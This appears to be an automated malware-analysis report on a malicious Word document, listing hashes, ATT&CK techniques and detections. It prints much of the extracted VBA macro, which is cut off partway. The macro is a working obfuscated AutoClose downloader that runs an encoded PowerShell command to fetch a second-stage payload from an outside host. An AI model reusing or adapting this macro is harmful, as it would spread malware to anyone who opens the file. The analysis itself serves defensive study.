Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c537de8add9a6c70…

MALICIOUS

Office (OLE)

144.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: e950c519707959aa18612254ece612b8 SHA-1: 602aed8b2afb16af81d57948cc52d8a3fd75d02d SHA-256: c537de8add9a6c7033118c7b819ed292a25a9893e491444d039714b0395efa12
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose trigger, indicating it will execute automatically when the document is closed. The macro constructs and attempts to execute a command line that appears to download and run a second-stage payload. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46727 bytes
SHA-256: 8eba49c8fca7e38ee5631aabfcde9b3cd194155c0540a3a47dabd3ab92ce9eab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const hIBuGohjYbuJEvOikyxiNara = 0
Sub AutoClose()
On Error Resume Next
piDmUVUXAxyfadIXoWevASAdIJIFfid = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^t^A^G^8^A^c^w^B^v^A^G^s^A^c^w^B^v^A^G^E^A^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^A^B^t^A^G^E^A^b^A^B^z^A^G^s^A^c^w^B^h^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^N^A^F^g^A^R^Q^A^v^A^G^w^A^b^w^B^k^A^H^A^A^b^w^B^z^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A^D^0^"
Dim BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(4)

Dim qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(4)

If 13 = 13 + (4 * 0) Then
qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(0) = CLng(8186)
End If
qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(1) = Sqr(4)
qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(2) = Month(81868186)
qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(3) = Fix(8186.4)
If 13 = 13 + (2 * 0) Then
Dim rIVUSATyBOEPEhawaBEDABeTsiaE(4)

If 11 = 11 + (9 * 0) Then
rIVUSATyBOEPEhawaBEDABeTsiaE(0) = CLng(5780)
End If
rIVUSATyBOEPEhawaBEDABeTsiaE(1) = Sqr(9)
rIVUSATyBOEPEhawaBEDABeTsiaE(2) = Month(57805780)
rIVUSATyBOEPEhawaBEDABeTsiaE(3) = Fix(5780.9)
Dim qOLOWivOgICAJfwORiBErapelOSuBEnUwA(4)

If 13 = 13 + (5 * 0) Then
qOLOWivOgICAJfwORiBErapelOSuBEnUwA(0) = CLng(9114)
End If
qOLOWivOgICAJfwORiBErapelOSuBEnUwA(1) = Sqr(5)
qOLOWivOgICAJfwORiBErapelOSuBEnUwA(2) = Month(91149114)
qOLOWivOgICAJfwORiBErapelOSuBEnUwA(3) = Fix(9114.5)
BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(0) = CLng(6339)
Dim GusUQUBYsEiODiLaDFrasypaseMIqaLii(4)

If 13 = 13 + (1 * 0) Then
GusUQUBYsEiODiLaDFrasypaseMIqaLii(0) = CLng(734)
End If
GusUQUBYsEiODiLaDFrasypaseMIqaLii(1) = Sqr(1)
GusUQUBYsEiODiLaDFrasypaseMIqaLii(2) = Month(734734)
GusUQUBYsEiODiLaDFrasypaseMIqaLii(3) = Fix(734.1)
Dim HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(4)

If 13 = 13 + (8 * 0) Then
HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(0) = CLng(9983)
End If
HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(1) = Sqr(8)
HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(2) = Month(99839983)
HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(3) = Fix(9983.8)
End If
Dim HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(4)

If 10 = 10 + (10 * 0) Then
HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(0) = CLng(8345)
End If
HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(1) = Sqr(10)
HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(2) = Month(83458345)
HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(3) = Fix(8345.1)
BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(1) = Sqr(2)
BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(2) = Month(63396339)
BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(3) = Fix(6339.2)
Dim seiWEkIxiSSyRyQEJyMiNorEXGU(4)

If 12 = 12 + (6 * 0) Then
seiWEkIxiSSyRyQEJyMiNorEXGU(0) = CLng(6975)
End If
seiWEkIxiSSyRyQEJyMiNorEXGU(1) = Sqr(6)
seiWEkIxiSSyRyQEJyMiNorEXGU(2) = Month(69756975)
seiWEkIxiSSyRyQEJyMiNorEXGU(3) = Fix(6975.6)
Dim XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(4)

If 13 = 13 + (3 * 0) Then
XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(0) = CLng(7610)
End If
XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(1) = Sqr(3)
XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(2) = Month(76107610)
XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(3) = Fix(7610.3)


Dim ZYxIZydUmYNEHUkomoCMukuCACADYN(4)

If 10 = 10 + (2 * 0) Then
ZYxIZydUmYNEHUkomoCMukuCACADYN(0) = CLng(9729)
End If
ZYxIZydUmYNEHUkomoCMukuCACADYN(1) = Sqr(2)
ZYxIZydUmYNEHUkomoCMukuCA
... (truncated)